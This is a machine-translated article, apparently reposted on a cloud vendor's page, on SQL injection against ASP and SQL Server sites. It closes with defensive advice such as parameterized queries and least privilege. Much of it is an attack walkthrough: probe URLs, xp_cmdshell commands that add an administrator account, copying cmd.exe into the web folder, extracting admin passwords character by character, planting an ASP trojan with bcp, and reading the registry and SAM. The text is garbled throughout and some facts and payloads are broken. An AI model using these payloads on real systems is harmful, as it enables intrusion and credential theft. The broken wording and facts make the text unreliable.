SQL injection attacks

Source: Internet
Author: User
Tags how to prevent sql injection how to prevent sql injection attacks lowercase microsoft sql server snmp sql injection sql injection attack administrator password

SQL injection attacks are one of the most frequently used means for hackers to attack a database. With the development of B/s pattern application development, there are more and more apes that use this pattern to write applications. However, due to the level and experience of the program Ape is not well, a large part of the program ape in writing code, the user does not infer the legitimacy of the input data, so that the application has security implications. The user is able to submit a database query code. According to the results returned by the program, get some data that he wants to know, this is called SQL injection. That is, SQL injection. SQL injection is from the normal wwwport, and the surface looks no different from the usual web page visits. So now the firewall in the market does not alert SQL injection. Assume that the administrator does not view the IIS log habits. Could have been invaded for a very long time without noticing. However, the method of SQL injection is quite flexible, and there are many unexpected situations when injected. You need to construct smart SQL statements. To obtain the desired data successfully.
   the whole idea of SQL injection attack
• Find SQL injection locations;
• Infer the background database type;
• Determine xp_cmdshell availability
• Discover Web Virtual folders
• Upload ASP Trojan;
• Get administrator privileges.
   steps for SQL injection attacks
One, the inference of SQL injection Vulnerability
Generally speaking. SQL injection generally exists in the form of: HTTP://xxx.xxx.xxx/abc.asp?

Id=xx and other ASP Dynamic Web pages with parameters. Sometimes a dynamic Web page may have only one parameter, sometimes n parameters, sometimes integer parameters, sometimes string parameters, and cannot be generalize. In short, if there is a dynamic Web page with a reference and this page visits the database, there may be SQL injection.

Suppose the ASP program Ape has no security awareness and does not perform the necessary character filtering. There is a large likelihood of SQL injection.
In order to fully understand the Dynamic Web page answer information, preferred to adjust the configuration of IE. Put IE menu-tool-internet Option-advanced-Show friendly HTTP error message before the tick is removed.
In order to explain the problem clearly, the following HTTP://xxx.xxx.xxx/abc.asp?

P=yy as an example for analysis. YY may be an integral type, or it may be a string.
1. Inference of integral type parameters
When the input parameter yy is an integral type, the SQL statement in abc.asp usually looks like the following:
SELECT * from table name where field =yy, so you can use the following steps to test whether SQL injection exists.


①http://xxx.xxx.xxx/abc.asp?

P=yy ' (attach a single quote), at this time ABC. The SQL statement in ASP becomes a
SELECT * from table name where Field =yy ', abc.asp execute exception;
②http://xxx.xxx.xxx/abc.asp?p=yy and 1=1, Abc.asp performed normally. And the result is the same as the HTTP://xxx.xxx.xxx/abc.asp?p=YY execution.
③http://xxx.xxx.xxx/abc.asp?p=yy and 1=2, abc.asp execution exception;
Assume that the above three steps are fully met. There must be a SQL injection vulnerability in abc.asp.
2. Inference of string-type parameters
When the input parameter yy is a string. Typically the SQL statements in abc.asp are as follows:
SELECT * from table name where field = ' YY ', so the following steps can be used to test whether SQL injection exists.
①http://xxx.xxx.xxx/abc.asp?

P=yy ' (attach a single quote). At this time ABC. The SQL statement in ASP becomes a
SELECT * from table name where Field =yy ', abc.asp execute exception;
②http://xxx.xxx.xxx/abc.asp?p=yy&nb ... 39;1 ' = ' 1 ', abc.asp performs normally. And the result is the same as the HTTP://xxx.xxx.xxx/abc.asp?p=YY execution;
③http://xxx.xxx.xxx/abc.asp?p=yy&nb ... 39;1 ' = ' 2 ', abc.asp execution exception;
Assuming the above three steps are fully satisfied, there must be a SQL injection vulnerability in abc.asp.


3. Handling of special cases
Sometimes an ASP program ape will filter out characters such as single quotes in a program ape to prevent SQL injection.

Here are some ways to try it out.
① sizing: Because VBS does not differentiate between uppercase and lowercase, the program ape usually filters the uppercase string when filtering. Either all lowercase strings are filtered, and uppercase and lowercase mixes tend to be overlooked. such as the replacement of select,select with select;
②unicode method: In IIS. Internationalized with the Unicode character set, we were able to enter the strings entered in IE into Unicode strings. such as + =%2b, space =%20 and so on. UrlEncode information refer to annex I.
③ascii code method: can be the input part or all of the characters are replaced with ASCII code, such as U=CHR (97), such as the A=CHR. ASCII information is shown in annex II;
II. Analysis of database server types
Generally speaking. Access and Sql-server are the most frequently used database servers, although they all support the T-SQL standard, but there are differences. and different databases have different attack methods. must be treated differently.


1, using the database server system variables to differentiate
Sql-server have system variables such as User,db_name () that utilize these system values to not only infer sql-server. And can also get a lot of useful information. Such as:
①http://xxx.xxx.xxx/abc.asp?p=yy and user>0 can not only infer whether it is sql-server, but also get the current connection to the database username
②http://xxx.xxx.xxx/abc.asp?p=yy&n db_name () >0 can not only infer whether it is sql-server, but also get the name of the database that is currently in use.
2. Using the system table
Access's system tables are msysobjects and do not have access permissions in the Web environment. The Sql-server system table is sysobjects, which has access to the Web environment. For the following two statements:
①http://xxx.xxx.xxx/abc.asp?p=yy and (select COUNT (*) from sysobjects) >0
②http://xxx.xxx.xxx/abc.asp?

P=yy and (select COUNT (*) from msysobjects) >0
If the database is Sql-serve. Then the first one, abc.asp must perform normally. The second one is an exception, and if Access is two, it will be an exception.


3. MSSQL three key system tables
sysdatabases system table: Each database on Microsoft SQL Server occupies one row in the table. When you initially install SQL Server, sysdatabases includes entries for the master, model, msdb, mssqlweb, and tempdb databases. The table is only stored in the master database. This table is saved in the master database. What information is stored in this table? This is very important. He saved all the library names, as well as the library ID and some related information.
Here I will give you a list of our useful field names and related instructions. Name//Indicates the names of the libraries.
dbid//Indicates the ID of the library. Dbid from 1 to 5 are systematic. Each is: Master, model, msdb, mssqlweb, tempdb, five libraries. All library names can be queried using SELECT * from Master.dbo.sysdatabases.
This system table is available in each of the Sysobjects:sql-server databases. It holds all the objects created within the database. such as constraints, default values, logs, rules, stored procedures, and so on, each object occupies a single row in the table.


syscolumns: Each column in each table and view occupies a row in the table, and each of the parameters in the stored procedure also occupies a row in the table. The table is located in each database. The main fields are:
Name, ID. Colid: Each is a field name. Table ID number, field ID number, which is the ID number of the table we got with sysobjects.
Using: SELECT * from ChouYFD.dbo.syscolumns where id=123456789 gets chouyfd the ID of the table is the list of all fields in 123456789.
Iii. determination of the availability of xp_cmdshell
If the account that is currently connected to the data has SA permissions, and the Master.dbo.xp_cmdshell extended stored procedure (which calls the stored procedure directly using the operating system's shell), executes correctly. The whole computer can be completely controlled by the following methods, all the steps in the future can save
1, HTTP://XXX.XXX.XXX/ABC.ASP?P=YY&NB ... er>0 Abc.asp performs an exception but is able to get the username of the current connected database (if the dbo is displayed represents SA).
2, HTTP://xxx.xxx.xxx/abc.asp?p=YY ... me () >0 Abc.asp performs an exception but is able to get the database name of the current connection.
3. HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec Master. xp_cmdshell "NET user aaa Bbb/add"--(master is the primary database for Sql-server. The semicolon in the name indicates that Sql-server executes the statement name before the semicolon is executed, continues executing the statement following it, and the "-" sign is an annotation, indicating that all content behind it is only staring, and the system does not execute) to directly add the operating system account Aaa,password to BBB.


4. HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec Master. xp_cmdshell "net localgroup Administrators Aaa/add"-Add the account AAA you just added to the Administrators group.
5, HTTP://xxx.xxx.xxx/abc.asp?

The P=YY;BACKUUP database name to disk= ' C:\inetpub\wwwroot\save.db ' will back up all the data content to the Web folder, and then use HTTP to download the file (preferably a Web virtual folder, of course).


6. Create Unicode vulnerability by copying CMD
HTTP://xxx.xxx.xxx/abc.asp?

P=yy;exe. Dbo.xp_cmdshell "Copy C:\winnt\system32\cmd.exe c:\inetpub\scripts\cmd.exe" creates a Unicode vulnerability. The exploit method for this vulnerability. It's over. Control over the entire computer (of course preferred to know the Web virtual folder).


Iv. Discovering Web Virtual folders
Just have to find the Web virtual folder. Ability to determine the location of the ASP Trojan, and then get user permissions.

There are two methods that are more effective.
One is based on experience to guess, in general, the Web virtual folder is: C:\inetpub\wwwroot; D:\inetpub\wwwroot; E:\inetpub\wwwroot, and executable virtual folder is: c:\inetpub\scripts; D:\inetpub\scripts; E:\inetpub\scripts and so on.
The second is to traverse the system's folder structure, analyze the result and discover the Web virtual folder.
Create a temporary table first: Temp
HTTP://xxx.xxx.xxx/abc.asp?

P=yy;create&n MP (ID nvarchar (255), Num1 nvarchar (255), num2 nvarchar (255), num3 nvarchar (255));--
Next:
(1) Use Xp_availablemedia to obtain all current drives and deposit them in the temp table:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert temp ... ter.dbo.xp_availablemedia;--
We are able to get a list of drives and related information by querying the contents of temp
(2) Use Xp_subdirs to get a list of subfolders and deposit them in the temp table:
HTTP://xxx.xxx.xxx/abc.asp?

P=yy;insert into Temp (i... dbo.xp_subdirs ' C: \ ';--
(3) Use Xp_dirtree to get the folder tree structure of all subfolders and into the temp table:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp (ID,NUM1) EXEC master.dbo.xp_dirtree ' C: \ ';--
Attention:
1, the above each completed a browse. All content in temp should be deleted, as follows:
HTTP://xxx.xxx.xxx/abc.asp?

P=yy;delete from temp;--
2. The method of browsing the temp table is: (assuming TestDB is the database name of the current connection)
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top& ... nbsp; TESTDB.DBO.TEMP) >0 Get the value of the first record ID field in table temp and compare it to an integer, obviously abc.asp work exception, but the value of the ID field can be found in the exception. Assuming that the table name found is XYZ, the
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 ID from ... ere ID not in (' xyz ')) >0 gets the value of the second Record ID field in table temp.
V. Upload ASP Trojan
The so-called ASP Trojan, is a special function of the ASP code, and put into the Web virtual folder under the scripts. The remote client can execute it through IE, and then get the user permission of the system to realize the initial control of the system. There are two ways to upload an ASP Trojan that are generally effective:
1, the use of web remote management functions
Many web sites, for the convenience of maintenance. Provides the ability to manage remotely. There are also a number of Web sites, the content of which is different users have different access rights. To achieve the control of user rights, there is a Web page. Requirements username and password, just entered the correct value, talent for the next step, to achieve the management of the web, such as uploading, downloading files, folder browsing, change configuration and so on.


Therefore, if you get the correct username and password, not only can upload ASP trojan, and sometimes even directly get user permission to browse the system, the previous step of the "Discovery Web Virtual folder" of the complex operation can be omitted.
Username and password are generally stored in a single table. The problem was solved by discovering the table and reading the contents. Two effective methods are given below.
A, injection method:
Theoretically speaking. The certification page will have the following type:
SELECT * from admin where username= ' XXX ' and password= ' YYY ' statements, if the necessary character filtering is not performed before the formal execution of this sentence, it is very easy to implement SQL injection.
As entered in the Username text box: ABC ' or 1=1--in the Password box: 123 The SQL statement becomes:
SELECT * from admin where username= ' abc ' or 1=1 and password= ' 123 ' no matter what the user input username and password, this statement will always be executed correctly, the user easily fooled the system, Get legal status.
B, guess the solution:
The basic idea is to guess all database names and guess each table name in the library. Parsing may be the name of a table that holds username and password, and each field name in the table. Guess the contents of each record in the table.
Guess all database names
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select COUNT (*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0 by The value of dbid is from 1 to 5, which is used by the system. So the user built it must have started from 6. And we submitted the name>1 (the Name field is a character type field and the number is more error-prone), abc.asp work exception, you can get the first database name. Similarly, the dbid were changed to 7, 8. 9,10,11,12 ... You can get all the database names.
The following assumes that the database name is TestDB.
To guess the name of a username table in a database
Guess solution: This method is based on individual experience to guess the name of the table, in general. User,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuser,systemusers,sysuser, Sysusers,sysaccounts,systemaccounts and so on.

and infer through the statement
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select COUNT (*) from testdb.dbo. Table name) >0 If the table name exists, abc.asp works fine, otherwise it is abnormal. So loop. Until you guessed the name of the System Account table.


Read method: Sql-server has a table sysobjects that holds the kernel information about the system, and all the tables for a library. The views and other information are all stored in this table. And this table can be interviewed via the web.


When the xtype= ' U ' and status>0 represents a table created by the user, it is possible to get the name of the username table by discovering and analyzing the tables and names created by each user. The main implementation methods are:
①http://xxx.xxx.xxx/abc.asp?

P=yy and (select top 1 name from TestD ... type= ' U ' and status>0) >0 get the name of the first user to establish the table. and compared with integers, it is obvious that abc.asp works abnormally, but the name of the table can be found in the exception. Assuming that the table name found is XYZ, the
②http://xxx.xxx.xxx/abc.asp?p=yy and (select top 1 name from testdb.dbo.sysobjects& ... tatus>0 and name not in (' XY Z ')) >0 can get the name of a table created by the second user. In the same vein, you get the names of all the tables created.


Based on the name of the table. Generally be able to identify the table user to store username and password, the following assumes that this table is named Admin.


L Guess username field and password field name
There must be a username field in the admin table. There must also be a password field. It is possible to get the contents of both fields simply by getting the names of the two fields.

How to get their names, the same has the following two ways.
Guess solution: This method is based on individual experience to guess the field name, generally speaking, the name of the username field is often used: Username,name,user,account and so on. The name of the password field is often used: password,pass,pwd,passwd, and so on. and infer through the statement
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count (field name) from TestDB.dbo.admin) >0 the "Select count (field name) from table name" statement to get the number of rows in the table, So if the field name exists. The abc.asp works fine. otherwise exception. So loop until you guess the names of the two fields.


Read method: The main implementation method is
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (Select ... Me (object_id (' admin '), 1) from TestDB.dbo.sysobjects) >0. Select top 1 col_name (object_id (' admin '), 1) from TestDB.dbo.sysobjects is the first field name to get a known table name from sysobjects, and when compared to an integer, it is obvious that the abc.asp is working abnormally, but the name of the field can be found in the exception.

The Col_name (object_id (' admin '), 1) of 1 in turn replaced by 2,3,4,5,6 ... You can get all the field names.
L Guess username and password
It is also the most effective way to guess the content of username and password most often:
ASCII code verbatim decoding method: Although this method is slower. But it's certainly doable.

The main idea is to guess the length of the field first, then guess the value of each bit in turn.

Guess username and guess password the same way, the following to guess username as an example to illustrate its process.
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select Top&n ... nbsp;from TestDB.dbo.admin) =x (x=1,2,3,4,5, ... n. Username is the name of the username field. Admin is the name of the table). If x is a value of I and abc.asp is performing normally, I is the length of the first username. For example: When input
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select Top ... e) from TestDB.dbo.admin) = 8 o'clock abc.asp performed normally. The first username has a length of 8
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ASCII (substring (username,m,1)) from TestDB.dbo.admin) =n (the value of M in 1 to the previous step to get the username length between, when m=1,2,3, ... Time-tested to measure the first and third,... The value of the bit. The value of n is the ASCII value of 1~9, A~z, A~z, which is the random value between the 1~128, the name of the System user Account table, and if n is a value I and abc.asp is performing normally, then the corresponding ASCII code of I is username a certain value.

Such as: when input
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ASCII (substring (username,3,1)) from TestDB.dbo.admin) = 80 o'clock abc.asp performed normally. Then the third bit of username is P (ASCII of P is 80).
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ASCII (substring (username,9,1)) from TestDB.dbo.admin) = 33 o'clock Abc.asp performed normally. Then the 9th place of username is! (! ASCII is 80). The
guesses after the first username and password. In the same vein, you can guess all the other username and password. Note: Sometimes the resulting password may be encrypted by means of MD5, and also require special tools. or change the password first. After use, then change back, see the following instructions.
Simple method: Guess username with
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 ... o.admin where username>1), flag is the admin table A field in which username is the username field, at which point the abc.asp works unexpectedly. But can get the value of username. The same method as on. Be able to get a second username, a third user and so on. Until all username in the table.
Guess the user password:http://xxx.xxx.xxx/abc.asp?p=yy and (select Top 1&NB ... B.dbo.admin where pwd>1), flag is a field in the admin table, and PWD is the password field, at which time abc.asp works abnormally, but can get the value of PWD. The same method as on. Be able to get the second username password, the third user's password and so on, until all the users in the table password. Password is sometimes encrypted by MD5 and can be changed password.
HTTP://xxx.xxx.xxx/abc.asp?

P=yy;update TestDB.dbo.admin set pwd= ' ... where username= ' www ';--(1 of the MD5 value is: Aaabbbcccdddeeef, that is, the password is changed to 1. www as known username)
In the same way, of course, the password can be changed to the original value.
2, using the table content to document the function
SQL has a bcp command that enables the contents of a table to be translated into a text file and placed in a specified location. Take advantage of this feature. We can build a temporary table first. Then enter an ASP Trojan in a row in the table, and then export the ASP file using the bcp command.
The command-line format is as follows:
BCP "SELECT * from Text". Foo "queryout c:\inetpub\wwwroot\runcommand.asp–c–s localhost–u sa–p foobar (' S ' parameter is the server that executes the query, ' U ' is username. ' P ' for password, finally uploaded a runcommand.asp trojan.
Six, get the system administrator rights
ASP Trojan has only user permission. To gain complete control of the system, you need to have administrator privileges on the system. What to do? There are many ways to elevate permissions:
Upload Trojan. Change the boot itself to execute the. ini file (it restarts. Will die).
Copy CMD.exe to scripts. Human-made Unicode vulnerability.
Download the Sam file, hack and get all the usernamepassword of the OS;
And so on, depending on the specific situation of the system, can take different methods.
Seven, several sql-server special means
1. Use xp_regread extended stored procedure to change the registration form
[Xp_regread] There is also a practical built-in stored procedure that is a collection of functions for the Xp_regxxxx class (xp_regaddmultistring. Xp_regdeletekey,xp_regdeletevalue,xp_regenumkeys. Xp_regenumvalues,xp_regread,xp_regremovemultistring,xp_regwrite). Attackers can use these functions to alter the register, such as reading Sam values. Agree to establish an empty connection, boot their own initiative to execute the program and so on. Such as:
EXEC xp_regread HKEY_LOCAL_MACHINE, ' system\currentcontrolset\services\lanmanserver\parameters ', ' NullSessionShares ' determines what session connections are available on the server.
EXEC xp_regenumvalues HKEY_LOCAL_MACHINE, ' System\currentcontrolset\services\snmp\parameters\validcommunities ' Displays all SNMP community configurations on the server, and with this information, attackers may configure network devices on the same network again.
2. Use other stored procedures to change the server
The Xp_servicecontrol process agrees with the user to start. Stop the service. Such as:
(EXEC master: Xp_servicecontrol ' start ', ' schedule '
EXEC master. Xp_servicecontrol ' start ', ' Server ')
Xp_availablemedia display of practical drives on the machine
Xp_dirtree agree to get a folder tree
XP_ENUMDSN enumerating ODBC data sources on the server
Xp_loginconfig Getting server security information
Xp_makecab to allow users to create a compressed file on the server
Xp_ntsec_enumdomains enumerating the domains that the server can enter
Xp_terminate_process provides the process ID of the process. Terminate this process
   background of SQL injection attacks
In the rapid development of computer technology today, more and more people headache is facing more and more "abnormal" and complex threat site technology. They use the Internet to perform various malicious activities. such as identity theft, private information theft, bandwidth resource consumption and so on. After they dive in. It will also spread and constantly update itself. These activities often take advantage of the user's curiosity, the user does not know or future consent to infiltrate the user's PC, unknowingly, the account of the funds have been transferred, the company's message was sent out, the harm is very serious.

August 16, 2006. The first web threat sample appeared, and as of October 25, 2006, a 150th variant had been generated. And it continues to evolve.
Site threats target multiple dimensions, whether individual or company, or a certain industry, have their own consideration, even the country, region, gender, race, religion, etc. also become the cause or motive of launching an attack.

Attacks can also take many forms, even complex forms. For example, viruses, worms, trojans, spyware, zombies, phishing emails, exploits, downloads, social project, rootkits, hackers. Results can cause user information to be compromised, or the services required by the user are rejected and hijacked.

From its source, web threats can also be classified into both internal and external attacks.

The former is mainly from the trust network, the user may have performed unauthorized access or inadvertently customized malicious attacks, the latter is mainly due to network vulnerabilities are exploited or users are targeted by malicious program makers of the attack.
  Network analysis of SQL injection attack
SQL injection attacks are a very annoying security vulnerability and are all Web developers. No matter what the platform. Technology. or the data layer, you need to be sure what they understand and prevent. Unfortunately, developers tend not to spend a bit of time on this, and even worse, their applications. Their customers are extremely easy to attack.


Michael Sutton recently published a very thought-provoking post on how pervasive this problem is on the public web. He built a C # client program with Google's search API to look for sites that are vulnerable to SQL injection attacks. The steps are simple:
1, look for sites with query strings (for example,. Query those URLs with "id=" in the URL)
2, send a request to these sites identified as dynamic, changing the id= statement, with an additional single quote, to try to cancel the SQL statement (for example, id=6 ')
3. Parsing the returned replies, looking for words like "SQL" and "query", often indicates that the application returned a specific error message (which in itself is very bad)
4, check whether the error message indicates that the number of references sent to SQL Server is not being correctly encoded, assuming this is a SQL injection attack on the site
Random sample testing of 1000 sites found through Google search. He detected that 11.3% of the respondents were prone to SQL injection attacks. It's very. Very scary.

This means that hackers can remotely use data from those applications to get password or credit card data that is not hashed or encrypted. There is even the possibility of logging into these applications as an administrator. This is not only very bad for developers of development sites, but also worse for consumers or users who use the site, as they provide data to the site. Think the site is safe.


So what exactly is a SQL injection attack?
There are several scenarios in which SQL injection attacks can be made.

The most common reason is that you dynamically construct SQL statements without using correctly coded (encoded) parameters. Such as. Consider the encoding of this SQL query. The purpose is to query the author (Authors) based on the social security number provided by the query string (Social Security numbers):
Dim SSN as String
Dim SQLQuery as String
SSN = request.querystring ("ssn")
SQLQuery = "Select au_lname, au_fname from authors WHERE au_id = '" + SSN + "'"
Suppose you have the same SQL code as the one above. Then your entire database and application can be hacked remotely. How could it be? In the ordinary case, the user will use a social security number to access the site, the code is executed like this:
' URL to the page containing the above code
http://mysite.com/listauthordetails.aspx?SSN=172-32-9999
' SQL Query executed against the database
SELECT au_lname, au_fname from authors WHERE au_id = ' 172-32-9999 '
This is what the developer expects, and the social Security number is the way to query the author's information in the database.

However, because the participation value is not correctly overweight. Hackers can easily change the value of a query string, embedding additional SQL statements after the value to be executed.

Such as.
' URL to the page containing the above code
Http://mysite.com/listauthordetails.aspx?

ssn=172-32-9999 ';D ROP DATABASE pubs--
' SQL Query executed against the database
SELECT au_lname, au_fname from authors WHERE au_id = ';D rop DATABASE pubs--
Note that you can add "';D ROP DATABASE pubs--" After the SSN query string value, by ";" Character to terminate the current SQL statement, and then add its own malicious SQL statement and then stare at the other part of the statement with a "--" string.

Because the code is manually constructed in the SQL statement, and finally passed the string to the database, the database will first query the authors table, and then delete our pubs database. "Bang (Bang)" A sound, the database is gone!
In case you think the results of an anonymous hacker deleting your database are very bad, but unfortunately, in fact, this is somewhat better than the scenario involved in a SQL injection attack. A hacker can not simply destroy the data, but use the weaknesses of the code above to execute a join statement. To get all the data in your database, show it on the page, agree to get Username,password, credit card number, etc. They can also add Update/insert statements to change the price of a product, add a new admin account, and really screw you (screw up your life).

Imagine checking your inventory by the end of the month and finding that the actual number of products in your warehouse is different from the number reported by your accounting system (accounting systems).


  How to prevent SQL injection attacks
SQL injection attacks are something you need to worry about, no matter what web programming techniques you use. And all the web frameworks need to worry about this.

You need to follow a few very important rules:
1) When constructing dynamic SQL statements, be sure to use the class security (Type-safe) reference-overweight mechanism.

Most of the data APIs. This support, including ADO and the ADO, allows you to specify the exact type of parameters provided (for example,. String, integer, date, etc.). To ensure that these parameters are properly escaped/encoded to avoid hackers using them. Be sure to use these features from start to finish.
For example, in ADO for dynamic SQL, you can rewrite the above statement as follows. To make it safe:
Dim SSN as String = Request.QueryString ("SSN")
Dim cmd as New SqlCommand ("Select au_lname, au_fname from authors WHERE au_id = @au_id")
Dim param = new SqlParameter ("au_id", SqlDbType.VarChar)
Param. Value = SSN
Cmd. Parameters.Add (param)
This will prevent someone from trying to sneak into another SQL expression (since ADO knows that the string value of au_id is overweight), and to avoid other data problems (such as incorrect conversion of numeric types, etc.). Note that VS 2005 's built-in Tableadapter/dataset designer uses this mechanism on its own initiative. The same is true for ASP. NET 2.0 data source controls.


A common false perception (misperception) is. If you use a stored procedure or ORM, you are completely protected from SQL injection attacks.

It's not right, you still need to be sure you're very cautious when passing data to a stored procedure. or when using ORM to customize a query, your approach is safe.
2) before deploying your app. Always do a safety review (Security Review). Establish a formal security process (formal), and review the entire code every time you do the update. The latter point is particularly important.

Many times I've heard that the development team will do a very specific security review before it's officially online (going live), and then they'll skip the security review when they do some very small updates a few weeks or months later. pleaded that "is a small update, we will do the code review good." Always keep the safety review in check.


3) never store sensitive data in plaintext in the database. My personal opinion is that password should always be stored in one-way (one-way) hashed and I don't even like to store them after encryption. By default, the ASP. NET 2.0 Membership API itself does this for you, and at the same time implements a safe salt randomization behavior (salt randomization behavior). Assuming you decide to build your own database of members, I suggest you look at the source code of our own membership provider published here. At the same time, it is also certain that the credit card and other private data in your database are encrypted. This way, even if your database is compromised (compromised), at least your client's private data will not be exploited by anyone.
4) Confirm that you have written your own active unit test. To specifically verify your data access layers and applications from SQL injection attacks.

It is important to do this to help catch (catch) "is a small update, all without security issues" in the case of negligence, to provide additional layers of security to avoid accidentally introducing bad security flaws into your application.
5) Lock the security of your database by simply giving access to the minimum permissions required for the database's Web App functionality. Assuming that the web app does not need to access some tables, verify that it does not have permission to visit those tables. Suppose the web app simply needs to read only the permissions from your Account Payables table to generate the report. Then confirm that you prohibit it from Insert/update/delete permissions on this table.


6) Very many novice download the SQL Universal Anti-injection System program, in the need to prevent the injection of the page head to protect others from manual injection test (.


However, it is assumed that the SQL Injection Analyzer makes it easy to skip the anti-injection system and proactively analyze its injection points.

Then it only takes a few minutes. Your administrator account and password will be analyzed.
7) for the Prevention of Injection analyzer, the author through the experiment, found a simple and effective way to prevent. First, we need to know how SQL Injection Analyzer works.

During the operation, the discovery software is not directed to the "admin" Administrator account, but to the authority (such as flag=1) to go. That way, no matter how your administrator account changes, you can't escape the test.


Step three: Since we can't escape the test, we'll do two accounts. One is the normal administrator account. One is to prevent the injection of accounts, why do you say so? I think, suppose to find a permission to make the largest account to create the illusion, to attract software detection, and this account content is greater than the Chinese characters more than thousand characters. It will force the software to analyze this account when it goes into full load and even runs out of resources and freezes. Now let's change the database.
1. Make changes to the table structure. Change the data type of the administrator's account field to the Maximum field 255 (which is actually enough.) Suppose you want to do it a little bigger. Ability to select a memo type). The fields of the password are also set in the same way.
2. Make changes to the table. Set administrator privileges on the account ID1, and enter a large number of Chinese characters (preferably greater than 100 words).
3. Place the real administrator password in any position after ID2 (for example, on ID549).
Because of SQL injection attacks, the application development process is not tightly programmed. Thus, for the vast majority of firewalls, such attacks are "legitimate". The solution to the problem is only dependent on good programming. There are fewer tools dedicated to SQL injection attacks, and Wpoison is helpful for development with asp,php ....

SQL injection attacks

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.